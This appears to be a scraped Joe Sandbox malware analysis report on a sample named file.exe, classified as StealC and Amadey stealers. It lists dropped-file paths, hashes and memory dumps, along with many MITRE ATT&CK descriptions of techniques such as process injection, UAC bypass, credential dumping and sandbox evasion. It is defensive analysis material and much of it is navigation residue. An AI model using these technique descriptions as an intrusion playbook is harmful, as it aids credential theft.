Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5d988708054080265a79d4a7610258e7a0a271f31a66ef2d4d33b66b87669676
Instruction ID: 1be91b9ef39dacb89e9a490d152c864cd4a442c19123dfd1a22c2e0bf6108a46
Opcode Fuzzy Hash: 5d988708054080265a79d4a7610258e7a0a271f31a66ef2d4d33b66b87669676
Instruction Fuzzy Hash: C6F0B4B17051016BEB109B65DC49D6773ACEF49298B140435EC1AC3A01E729F411D6E5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAEHDBAAECBFHJKFCFBFIDHIJK

C:\ProgramData\DGCBAFIJ

C:\ProgramData\DGHDHIDGHIDGIECBKKJJ

C:\ProgramData\FCFBFHIEBKJKFHIEBFBA

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJJEHCFB

C:\ProgramData\IEHDBAAF

C:\ProgramData\JJKEBGHJKFIDGCAAFCAF

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre